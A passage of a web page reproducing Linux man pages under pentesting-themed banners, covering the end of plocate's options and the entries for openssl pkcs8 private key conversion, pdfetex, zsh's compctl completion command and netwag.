Do not print each match. Instead, count them, and print out a total number at the end.

-d, –database DBPATH
Find matches in the given database, instead of /var/lib/plocate/plocate.db. This argument can be given multiple times, to search multiple databases. It is also possible to give multiple databases in one argument, separated by :. (Any character, including : and \ can be escaped by prepending a )

-e, –existing
Print only entries that refer to files existing at the time locate is run. Note that unlike mlocate(1), symlinks are not followed by default (and indeed, there is no option to change this).

-i, –ignore-case
Do a case-insensitive match as given by the current locale (default is case-sensitive, byte-by-byte match). Note that plocate does not support the full range of Unicode case folding rules; in particular, searching for ß will not give you matches on ss even in a German locale. Also note that this option will be somewhat slower than a case-sensitive match, since it needs to generate more candidates for searching the index.

-l, –limit LIMIT
Stop searching after LIMIT matches have been found. If –count is given, the number printed out will be at most LIMIT.

-N, –literal
Print entry names without quoting. Normally, plocate will escape special characters in filenames, so that they are safe for consumption by typical shells (similar to the GNU coreutils shell-escape-always quoting style), unless printing to a pipe, but this options will turn off such quoting.

-0, –null
Instead of writing a newline after every match, write a NUL (ASCII 0). This is useful for creating unambiguous output when it is to be processed by other tools (like xargs(1)), as filenames are allowed to contain embedded newlines.

-r, –regexp
Patterns are taken to be POSIX basic regular expressions. See regex(7) for more information. Note that this forces a linear scan through the entire database, which is slow.

–regex
Like –regexp, but patterns are instead taken to be POSIX extended regular expressions.

-w, –wholename
Match against the entire path name. This is the default, so unless -b is given first (see above), it will not do anything. This option thus exists only as compatibility with mlocate(1).

–help
Print out usage information, then exit successfully.

–version
Print out version information, then exit successfully.

ENVIRONMENT

LOCATE_PATH
If given, appended after the list of –database paths (whether an explicit is given or the default is used). Colon-delimiting and character escaping follows the same rules as for –database.

AUTHOR

Steinar H. Gunderson <[email protected]>

SEE ALSO

plocate-build(8), mlocate(1), updatedb(8)

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

2131 - Linux cli command openssl-pkcs8ssl

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command openssl-pkcs8ssl and provides detailed information about the command openssl-pkcs8ssl, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the openssl-pkcs8ssl.

NAME 🖥️ openssl-pkcs8ssl 🖥️

pkcs8 - PKCS#8 format private key conversion command

SYNOPSIS

openssl pkcs8 [-help] [-topk8] [-inform DER|PEM] [-outform DER|PEM] [-in filename] [-passin arg] [-out filename] [-passout arg] [-iter count] [-noiter] [-nocrypt] [-traditional] [-v2 alg] [-v2prf alg] [-v1 alg] [-scrypt] [-scrypt_N N] [-scrypt_r r] [-scrypt_p p] [-saltlen size] [-rand files] [-writerand file] [-engine id] [-provider name] [-provider-path path] [-propquery propq]

DESCRIPTION

This command processes private keys in PKCS#8 format. It can handle both unencrypted PKCS#8 PrivateKeyInfo format and EncryptedPrivateKeyInfo format with a variety of PKCS#5 (v1.5 and v2.0) and PKCS#12 algorithms.

OPTIONS

-help
Print out a usage message.

-topk8
Normally a PKCS#8 private key is expected on input and a private key will be written to the output file. With the -topk8 option the situation is reversed: it reads a private key and writes a PKCS#8 format key.

-inform DER|PEM, -outform DER|PEM
The input and formats; the default is PEM. See openssl-format-options (1) for details. If a key is being converted from PKCS#8 form (i.e. the -topk8 option is not used) then the input file must be in PKCS#8 format. An encrypted key is expected unless -nocrypt is included. If -topk8 is not used and PEM mode is set the output file will be an unencrypted private key in PKCS#8 format. If the -traditional option is used then a traditional format private key is written instead. If -topk8 is not used and DER mode is set the output file will be an unencrypted private key in traditional DER format. If -topk8 is used then any supported private key can be used for the input file in a format specified by -inform. The output file will be encrypted PKCS#8 format using the specified encryption parameters unless -nocrypt is included.

-traditional
When this option is present and -topk8 is not a traditional format private key is written.

-in filename
This specifies the input filename to read a key from or standard input if this option is not specified. If the key is encrypted a pass phrase will be prompted for.

-passin arg, -passout arg
The password source for the input and output file. For more information about the format of arg see openssl-passphrase-options (1).

-out filename
This specifies the output filename to write a key to or standard output by default. If any encryption options are set then a pass phrase will be prompted for. The output filename should not be the same as the input filename.

-iter count
When creating new PKCS#8 containers, use a given number of iterations on the password in deriving the encryption key for the PKCS#8 output. High values increase the time required to brute-force a PKCS#8 container.

-noiter
When creating new PKCS#8 containers, use 1 as iteration count.

-nocrypt
PKCS#8 keys generated or input are normally PKCS#8 EncryptedPrivateKeyInfo structures using an appropriate password based encryption algorithm. With this option an unencrypted PrivateKeyInfo structure is expected or output. This option does not encrypt private keys at all and should only be used when absolutely necessary. Certain software such as some versions of Java code signing software used unencrypted private keys.

-v2 alg
This option sets the PKCS#5 v2.0 algorithm. The alg argument is the encryption algorithm to use, valid values include aes128, aes256 and des3. If this option isn’t specified then aes256 is used.

-v2prf alg
This option sets the PRF algorithm to use with PKCS#5 v2.0. A typical value value would be hmacWithSHA256. If this option isn’t set then the default for the cipher is used or hmacWithSHA256 if there is no default. Some implementations may not support custom PRF algorithms and may require the hmacWithSHA1 option to work.

-v1 alg
This option indicates a PKCS#5 v1.5 or PKCS#12 algorithm should be used. Some older implementations may not support PKCS#5 v2.0 and may require this option. If not specified PKCS#5 v2.0 form is used.

-scrypt
Uses the scrypt algorithm for private key encryption using default parameters: currently N=16384, r=8 and p=1 and AES in CBC mode with a 256 bit key. These parameters can be modified using the -scrypt_N, -scrypt_r, -scrypt_p and -v2 options.

-scrypt_N N, -scrypt_r r, -scrypt_p p
Sets the scrypt N, r or p parameters.

-saltlen
Sets the length (in bytes) of the salt to use for the PBE algorithm. If this value is not specified, the default for PBES2 is 16 (128 bits) and 8 (64 bits) for PBES1.

-rand files, -writerand file
See “Random State Options” in openssl (1) for details.

-engine id
See “Engine Options” in openssl (1). This option is deprecated.

-provider name

-provider-path path

-propquery propq

See “Provider Options” in openssl (1), provider (7), and property (7).

NOTES

By default, when converting a key to PKCS#8 format, PKCS#5 v2.0 using 256 bit AES with HMAC and SHA256 is used.

Some older implementations do not support PKCS#5 v2.0 format and require the older PKCS#5 v1.5 form instead, possibly also requiring insecure weak encryption algorithms such as 56 bit DES.

Private keys encrypted using PKCS#5 v2.0 algorithms and high iteration counts are more secure that those encrypted using the traditional SSLeay compatible formats. So if additional security is considered important the keys should be converted.

It is possible to write out DER encoded encrypted private keys in PKCS#8 format because the encryption details are included at an ASN1 level whereas the traditional format includes them at a PEM level.

PKCS#5 V1.5 AND PKCS#12 ALGORITHMS

Various algorithms can be used with the -v1 command line option, including PKCS#5 v1.5 and PKCS#12. These are described in more detail below.

PBE-MD2-DES PBE-MD5-DES
These algorithms were included in the original PKCS#5 v1.5 specification. They only offer 56 bits of protection since they both use DES.

PBE-SHA1-RC2-64, PBE-MD2-RC2-64, PBE-MD5-RC2-64, PBE-SHA1-DES
These algorithms are not mentioned in the original PKCS#5 v1.5 specification but they use the same key derivation algorithm and are supported by some software. They are mentioned in PKCS#5 v2.0. They use either 64 bit RC2 or 56 bit DES.

PBE-SHA1-RC4-128, PBE-SHA1-RC4-40, PBE-SHA1-3DES, PBE-SHA1-2DES, PBE-SHA1-RC2-128, PBE-SHA1-RC2-40
These algorithms use the PKCS#12 password based encryption algorithm and allow strong encryption algorithms like triple DES or 128 bit RC2 to be used.

EXAMPLES

Convert a private key to PKCS#8 format using default parameters (AES with 256 bit key and hmacWithSHA256):

openssl pkcs8 -in key.pem -topk8 -out enckey.pem

Convert a private key to PKCS#8 unencrypted format:

openssl pkcs8 -in key.pem -topk8 -nocrypt -out enckey.pem

Convert a private key to PKCS#5 v2.0 format using triple DES:

openssl pkcs8 -in key.pem -topk8 -v2 des3 -out enckey.pem

Convert a private key to PKCS#5 v2.0 format using AES with 256 bits in CBC mode and hmacWithSHA512 PRF:

openssl pkcs8 -in key.pem -topk8 -v2 aes-256-cbc -v2prf hmacWithSHA512 -out enckey.pem

Convert a private key to PKCS#8 using a PKCS#5 1.5 compatible algorithm (DES):

openssl pkcs8 -in key.pem -topk8 -v1 PBE-MD5-DES -out enckey.pem

Convert a private key to PKCS#8 using a PKCS#12 compatible algorithm (3DES):

openssl pkcs8 -in key.pem -topk8 -out enckey.pem -v1 PBE-SHA1-3DES

Read a DER unencrypted PKCS#8 format private key:

openssl pkcs8 -inform DER -nocrypt -in key.der -out key.pem

Convert a private key from any PKCS#8 encrypted format to traditional format:

openssl pkcs8 -in pk8.pem -traditional -out key.pem

Convert a private key to PKCS#8 format, encrypting with AES-256 and with one million iterations of the password:

openssl pkcs8 -in key.pem -topk8 -v2 aes-256-cbc -iter 1000000 -out pk8.pem

STANDARDS

Test vectors from this PKCS#5 v2.0 implementation were posted to the pkcs-tng mailing list using triple DES, DES and RC2 with high iteration counts, several people confirmed that they could decrypt the private keys produced and therefore, it can be assumed that the PKCS#5 v2.0 implementation is reasonably accurate at least as far as these algorithms are concerned.

The format of PKCS#8 DSA (and other) private keys is not well documented: it is hidden away in PKCS#11 v2.01, section 11.9. OpenSSL’s default DSA PKCS#8 private key format complies with this standard.

BUGS

There should be an option that prints out the encryption algorithm in use and other details such as the iteration count.

SEE ALSO

openssl (1), openssl-dsa (1), openssl-rsa (1), openssl-genrsa (1), openssl-gendsa (1)

HISTORY

The -iter option was added in OpenSSL 1.1.0.

The -engine option was deprecated in OpenSSL 3.0.

COPYRIGHT

Copyright 2000-2023 The OpenSSL Project Authors. All Rights Reserved.

Licensed under the Apache License 2.0 (the “License”). You may not use this file except in compliance with the License. You can obtain a copy in the file LICENSE in the source distribution or at <https://www.openssl.org/source/license.html>.

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

2132 - Linux cli command pdfetex

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command pdfetex and provides detailed information about the command pdfetex, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the pdfetex.

NAME 🖥️ pdfetex 🖥️

PDF output from e-TeX

SYNOPSIS

pdfetex [options] [*&format] [file|*commands]

DESCRIPTION

pdfeTeX is another name for pdfTeX; they behave identically. See pdftex(1) for all information.

SEE ALSO

pdftex(1), http://pdftex.org, http://tug.org/web2c.

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

2133 - Linux cli command zshcompctl

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command zshcompctl and provides detailed information about the command zshcompctl, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the zshcompctl.

NAME 🖥️ zshcompctl 🖥️

zsh programmable completion

DESCRIPTION

This version of zsh has two ways of performing completion of words on the command line. New users of the shell may prefer to use the newer and more powerful system based on shell functions; this is described in zshcompsys(1), and the basic shell mechanisms which support it are described in zshcompwid(1). This manual entry describes the older compctl command.

compctl [ -CDT ] options [ command … ]
compctl [ -CDT ] options [ -x pattern options - ]
[ + options [ -x ] … [+] ] [ command … ]
compctl -M match-specs
compctl -L [ -CDTM ] [ command … ]
compctl + command

Control the editor’s completion behavior according to the supplied set of options. Various editing commands, notably expand-or-complete-word, usually bound to tab, will attempt to complete a word typed by the user, while others, notably delete-char-or-list, usually bound to ^D in EMACS editing mode, list the possibilities; compctl controls what those possibilities are. They may for example be filenames (the most common case, and hence the default), shell variables, or words from a user-specified list.

COMMAND FLAGS

Completion of the arguments of a command may be different for each command or may use the default. The behavior when completing the command word itself may also be separately specified. These correspond to the following flags and arguments, all of which (except for -L) may be combined with any combination of the options described subsequently in the section `Option Flags':

command … controls completion for the named commands, which must be listed last on the command line. If completion is attempted for a command with a pathname containing slashes and no completion definition is found, the search is retried with the last pathname component. If the command starts with a =, completion is tried with the pathname of the command.

Any of the command strings may be patterns of the form normally used for filename generation. These should be quoted to protect them from immediate expansion; for example the command string ‘foo*’ arranges for completion of the words of any command beginning with foo. When completion is attempted, all pattern completions are tried in the reverse order of their definition until one matches. By default, completion then proceeds as normal, i.e. the shell will try to generate more matches for the specific command on the command line; this can be overridden by including -tn in the flags for the pattern completion.

Note that aliases are expanded before the command name is determined unless the COMPLETE_ALIASES option is set. Commands may not be combined with the -C, -D or -T flags.

-C
controls completion when the command word itself is being completed. If no compctl -C command has been issued, the names of any executable command (whether in the path or specific to the shell, such as aliases or functions) are completed.

-D
controls default completion behavior for the arguments of commands not assigned any special behavior. If no compctl -D command has been issued, filenames are completed.

-T
supplies completion flags to be used before any other processing is done, even before processing for compctls defined for specific commands. This is especially useful when combined with extended completion (the -x flag, see the section `Extended Completion’ below). Using this flag you can define default behavior which will apply to all commands without exception, or you can alter the standard behavior for all commands. For example, if your access to the user database is too slow and/or it contains too many users (so that completion after `~’ is too slow to be usable), you can use

compctl -T -x ’s[~] C[0,[^/]#]’ -k friends -S/ -tn

to complete the strings in the array friends after a `~’. The C[] argument is necessary so that this form of ~-completion is not tried after the directory name is finished.

-L
lists the existing completion behavior in a manner suitable for putting into a start-up script; the existing behavior is not changed. Any combination of the above forms, or the -M flag (which must follow the -L flag), may be specified, otherwise all defined completions are listed. Any other flags supplied are ignored.

no argument
If no argument is given, compctl lists all defined completions in an abbreviated form; with a list of options, all completions with those flags set (not counting extended completion) are listed.

If the + flag is alone and followed immediately by the command list, the completion behavior for all the commands in the list is reset to the default. In other words, completion will subsequently use the options specified by the -D flag.

The form with -M as the first and only option defines global matching specifications (see zshcompwid). The match specifications given will be used for every completion attempt (only when using compctl, not with the new completion system) and are tried in the order in which they are defined until one generates at least one match. E.g.:

compctl -M ’’ ’m:{a-zA-Z}={A-Za-z}’

This will first try completion without any global match specifications (the empty string) and, if that generates no matches, will try case insensitive completion.

OPTION FLAGS

[ -fcFBdeaRGovNAIOPZEnbjrzu/12 ]
[ -k array ] [ -g globstring ] [ -s subststring ]
[ -K function ]
[ -Q ] [ -P prefix ] [ -S suffix ]
[ -W file-prefix ] [ -H num pattern ]
[ -q ] [ -X explanation ] [ -Y explanation ]
[ -y func-or-var ] [ -l cmd ] [ -h cmd ] [ -U ]
[ -t continue ] [ -J name ] [ -V name ]
[ -M match-spec ]

The remaining options specify the type of command arguments to look for during completion. Any combination of these flags may be specified; the result is a sorted list of all the possibilities. The options are as follows.

Simple Flags

These produce completion lists made up by the shell itself:

-f Filenames and file system paths.

-/
Just file system paths.

-c
Command names, including aliases, shell functions, builtins and reserved words.

-F
Function names.

-B
Names of builtin commands.

-m
Names of external commands.

-w
Reserved words.

-a
Alias names.

-R
Names of regular (non-global) aliases.

-G
Names of global aliases.

-d
This can be combined with -F, -B, -w, -a, -R and -G to get names of disabled functions, builtins, reserved words or aliases.

-e
This option (to show enabled commands) is in effect by default, but may be combined with -d; -de in combination with -F, -B, -w, -a, -R and -G will complete names of functions, builtins, reserved words or aliases whether or not they are disabled.

-o
Names of shell options (see zshoptions(1)).

-v
Names of any variable defined in the shell.

-N
Names of scalar (non-array) parameters.

-A
Array names.

-I
Names of integer variables.

-O
Names of read-only variables.

-p
Names of parameters used by the shell (including special parameters).

-Z
Names of shell special parameters.

-E
Names of environment variables.

-n
Named directories.

-b
Key binding names.

-j
Job names: the first word of the job leader’s command line. This is useful with the kill builtin.

-r
Names of running jobs.

-z
Names of suspended jobs.

-u
User names.

Flags with Arguments

These have user supplied arguments to determine how the list of completions is to be made up:

-k array Names taken from the elements of $array (note that the `$’ does not appear on the command line). Alternatively, the argument array itself may be a set of space- or comma-separated values in parentheses, in which any delimiter may be escaped with a backslash; in this case the argument should be quoted. For example,

compctl -k “(cputime filesize datasize stacksize coredumpsize resident descriptors)” limit

-g globstring
The globstring is expanded using filename globbing; it should be quoted to protect it from immediate expansion. The resulting filenames are taken as the possible completions. Use `*(/)’ instead of `*/’ for directories. The fignore special parameter is not applied to the resulting files. More than one pattern may be given separated by blanks. (Note that brace expansion is not part of globbing. Use the syntax `(either|or)’ to match alternatives.)

-s subststring
The subststring is split into words and these words are than expanded using all shell expansion mechanisms (see zshexpn(1)). The resulting words are taken as possible completions. The fignore special parameter is not applied to the resulting files. Note that -g is faster for filenames.

-K function
Call the given function to get the completions. Unless the name starts with an underscore, the function is passed two arguments: the prefix and the suffix of the word on which completion is to be attempted, in other words those characters before the cursor position, and those from the cursor position onwards. The whole command line can be accessed with the -c and -l flags of the read builtin. The function should set the variable reply to an array containing the completions (one completion per element); note that reply should not be made local to the function. From such a function the command line can be accessed with the -c and -l flags to the read builtin. For example,

function whoson { reply=(users); } compctl -K whoson talk

completes only logged-on users after `talk’. Note that `whoson’ must return an array, so `reply=`users`’ would be incorrect.

-H num pattern
The possible completions are taken from the last num history lines. Only words matching pattern are taken. If num is zero or negative the whole history is searched and if pattern is the empty string all words are taken (as with `*’). A typical use is

compctl -D -f + -H 0 ''

which forces completion to look back in the history list for a word if no filename matches.

Control Flags

These do not directly specify types of name to be completed, but manipulate the options that do:

-Q This instructs the shell not to quote any metacharacters in the possible completions. Normally the results of a completion are inserted into the command line with any metacharacters quoted so that they are interpreted as normal characters. This is appropriate for filenames and ordinary strings. However, for special effects, such as inserting a backquoted expression from a completion array (-k) so that the expression will not be evaluated until the complete line is executed, this option must be used.

-P prefix
The prefix is inserted just before the completed string; any initial part already typed will be completed and the whole prefix ignored for completion purposes. For example,

compctl -j -P “%” kill

inserts a `%’ after the kill command and then completes job names.

-S suffix
When a completion is found the suffix is inserted after the completed string. In the case of menu completion the suffix is inserted immediately, but it is still possible to cycle through the list of completions by repeatedly hitting the same key.

-W file-prefix
With directory file-prefix: for command, file, directory and globbing completion (options -c, -f, -/, -g), the file prefix is implicitly added in front of the completion. For example,

compctl -/ -W ~/Mail maildirs

completes any subdirectories to any depth beneath the directory ~/Mail, although that prefix does not appear on the command line. The file-prefix may also be of the form accepted by the -k flag, i.e. the name of an array or a literal list in parenthesis. In this case all the directories in the list will be searched for possible completions.

-q
If used with a suffix as specified by the -S option, this causes the suffix to be removed if the next character typed is a blank or does not insert anything or if the suffix consists of only one character and the next character typed is the same character; this the same rule used for the AUTO_REMOVE_SLASH option. The option is most useful for list separators (comma, colon, etc.).

-l cmd
This option restricts the range of command line words that are considered to be arguments. If combined with one of the extended completion patterns `p[]’, `r[]’, or `R[]’ (see the section `Extended Completion’ below) the range is restricted to the range of arguments specified in the brackets. Completion is then performed as if these had been given as arguments to the cmd supplied with the option. If the cmd string is empty the first word in the range is instead taken as the command name, and command name completion performed on the first word in the range. For example,

compctl -x ‘r[-exec,;]’ -l ’’ – find

completes arguments between `-exec’ and the following `;’ (or the end of the command line if there is no such string) as if they were a separate command line.

-h cmd
Normally zsh completes quoted strings as a whole. With this option, completion can be done separately on different parts of such strings. It works like the -l option but makes the completion code work on the parts of the current word that are separated by spaces. These parts are completed as if they were arguments to the given cmd. If cmd is the empty string, the first part is completed as a command name, as with -l.

-U
Use the whole list of possible completions, whether or not they actually match the word on the command line. The word typed so far will be deleted. This is most useful with a function (given by the -K option) which can examine the word components passed to it (or via the read builtin’s -c and -l flags) and use its own criteria to decide what matches. If there is no completion, the original word is retained. Since the produced possible completions seldom have interesting common prefixes and suffixes, menu completion is started immediately if AUTO_MENU is set and this flag is used.

-y func-or-var
The list provided by func-or-var is displayed instead of the list of completions whenever a listing is required; the actual completions to be inserted are not affected. It can be provided in two ways. Firstly, if func-or-var begins with a $ it defines a variable, or if it begins with a left parenthesis a literal array, which contains the list. A variable may have been set by a call to a function using the -K option. Otherwise it contains the name of a function which will be executed to create the list. The function will be passed as an argument list all matching completions, including prefixes and suffixes expanded in full, and should set the array reply to the result. In both cases, the display list will only be retrieved after a complete list of matches has been created.

Note that the returned list does not have to correspond, even in length, to the original set of matches, and may be passed as a scalar instead of an array. No special formatting of characters is performed on the output in this case; in particular, newlines are printed literally and if they appear output in columns is suppressed.

-X explanation
Print explanation when trying completion on the current set of options. A `%n’ in this string is replaced by the number of matches that were added for this explanation string. The explanation only appears if completion was tried and there was no unique match, or when listing completions. Explanation strings will be listed together with the matches of the group specified together with the -X option (using the -J or -V option). If the same explanation string is given to multiple -X options, the string appears only once (for each group) and the number of matches shown for the `%n’ is the total number of all matches for each of these uses. In any case, the explanation string will only be shown if there was at least one match added for the explanation string.

The sequences %B, %b, %S, %s, %U, and %u specify output attributes (bold, standout, and underline), %F, %f, %K, %k specify foreground and background colours, and %{%} can be used to include literal escape sequences as in prompts.

-Y explanation
Identical to -X, except that the explanation first undergoes expansion following the usual rules for strings in double quotes. The expansion will be carried out after any functions are called for the -K or -y options, allowing them to set variables.

-t continue
The continue-string contains a character that specifies which set of completion flags should be used next. It is useful:

(i) With -T, or when trying a list of pattern completions, when compctl would usually continue with ordinary processing after finding matches; this can be suppressed with `-tn’.

(ii) With a list of alternatives separated by +, when compctl would normally stop when one of the alternatives generates matches. It can be forced to consider the next set of completions by adding `-t+’ to the flags of the alternative before the `+'.

(iii) In an extended completion list (see below), when compctl would normally continue until a set of conditions succeeded, then use only the immediately following flags. With `-t-’, compctl will continue trying extended completions after the next `-’; with `-tx’ it will attempt completion with the default flags, in other words those before the `-x'.

-J name
This gives the name of the group the matches should be placed in. Groups are listed and sorted separately; likewise, menu completion will offer the matches in the groups in the order in which the groups were defined. If no group name is explicitly given, the matches are stored in a group named default. The first time a group name is encountered, a group with that name is created. After that all matches with the same group name are stored in that group.

This can be useful with non-exclusive alternative completions. For example, in

compctl -f -J files -t+ + -v -J variables foo

both files and variables are possible completions, as the -t+ forces both sets of alternatives before and after the + to be considered at once. Because of the -J options, however, all files are listed before all variables.

-V name
Like -J, but matches within the group will not be sorted in listings nor in menu completion. These unsorted groups are in a different name space from the sorted ones, so groups defined as -J files and -V files are distinct.

-1
If given together with the -V option, makes only consecutive duplicates in the group be removed. Note that groups with and without this flag are in different name spaces.

-2
If given together with the -J or -V option, makes all duplicates be kept. Again, groups with and without this flag are in different name spaces.

-M match-spec
This defines additional matching control specifications that should be used only when testing words for the list of flags this flag appears in. The format of the match-spec string is described in zshcompwid.

ALTERNATIVE COMPLETION

compctl [ -CDT ] options + options [ + … ] [ + ] command

The form with `+’ specifies alternative options. Completion is tried with the options before the first `+’. If this produces no matches completion is tried with the flags after the `+’ and so on. If there are no flags after the last `+’ and a match has not been found up to that point, default completion is tried. If the list of flags contains a -t with a + character, the next list of flags is used even if the current list produced matches.

Additional options are available that restrict completion to some part of the command line; this is referred to as `extended completion'.

EXTENDED COMPLETION

compctl [ -CDT ] options -x pattern options -
[ command … ]
compctl [ -CDT ] options [ -x pattern options - ]
[ + options [ -x ] … [+] ] [ command … ]

The form with `-x’ specifies extended completion for the commands given; as shown, it may be combined with alternative completion using `+’. Each pattern is examined in turn; when a match is found, the corresponding options, as described in the section `Option Flags’ above, are used to generate possible completions. If no pattern matches, the options given before the -x are used.

Note that each pattern should be supplied as a single argument and should be quoted to prevent expansion of metacharacters by the shell.

A pattern is built of sub-patterns separated by commas; it matches if at least one of these sub-patterns matches (they are `or’ed). These sub-patterns are in turn composed of other sub-patterns separated by white spaces which match if all of the sub-patterns match (they are `and’ed). An element of the sub-patterns is of the form `c**[][]**’, where the pairs of brackets may be repeated as often as necessary, and matches if any of the sets of brackets match (an `or’). The example below makes this clearer.

The elements may be any of the following:

s[string]… Matches if the current word on the command line starts with one of the strings given in brackets. The string is not removed and is not part of the completion.

S[string]
Like s[string] except that the string is part of the completion.

p[from,to]
Matches if the number of the current word is between one of the from and to pairs inclusive. The comma and to are optional; to defaults to the same value as from. The numbers may be negative: **-**n refers to the n’th last word on the line.

c[offset,string]
Matches if the string matches the word offset by offset from the current word position. Usually offset will be negative.

C[offset,pattern]
Like c but using pattern matching instead.

w[index,string]
Matches if the word in position index is equal to the corresponding string. Note that the word count is made after any alias expansion.

W[index,pattern]
Like w but using pattern matching instead.

n[index,string]
Matches if the current word contains string. Anything up to and including the indexth occurrence of this string will not be considered part of the completion, but the rest will. index may be negative to count from the end: in most cases, index will be 1 or -1. For example,

compctl -s ‘users’ -x ’n[1,@]’ -k hosts – talk

will usually complete usernames, but if you insert an @ after the name, names from the array hosts (assumed to contain hostnames, though you must make the array yourself) will be completed. Other commands such as rcp can be handled similarly.

N[index,string]
Like n except that the string will be taken as a character class. Anything up to and including the indexth occurrence of any of the characters in string will not be considered part of the completion.

m[min,max]
Matches if the total number of words lies between min and max inclusive.

r[str1,str2]
Matches if the cursor is after a word with prefix str1. If there is also a word with prefix str2 on the command line after the one matched by str1 it matches only if the cursor is before this word. If the comma and str2 are omitted, it matches if the cursor is after a word with prefix str1.

R[str1,str2]
Like r but using pattern matching instead.

q[str]
Matches the word currently being completed is in single quotes and the str begins with the letter `s’, or if completion is done in double quotes and str starts with the letter `d’, or if completion is done in backticks and str starts with a `b’.

EXAMPLE

compctl -u -x ’s[+] c[-1,-f],s[-f+]’ \ -g ‘~/Mail/*(:t)’ - ’s[-f],c[-1,-f]’ -f – mail

This is to be interpreted as follows:

If the current command is mail, then

if ((the current word begins with + and the previous word is -f)
or (the current word begins with -f+)), then complete the
non-directory part (the `:t' glob modifier) of files in the directory
~/Mail; else

if the current word begins with -f or the previous word was -f, then
complete any file; else

complete user names.
░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

2134 - Linux cli command netwag

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command netwag and provides detailed information about the command netwag, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the netwag.

NAME 🖥️ netwag 🖥️

graphical front end for netwox

VERSION

The version installed on this system is 5.39.0.

IMPORTANT

Manpage do not contain a lot of information. Rather read netwag-5.39.0-doc_html.tgz.

SYNOPSIS

netwag

DESCRIPTION

Netwag is a graphical front end for netwox.

SEE ALSO

netwox(1) netwib(3)

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

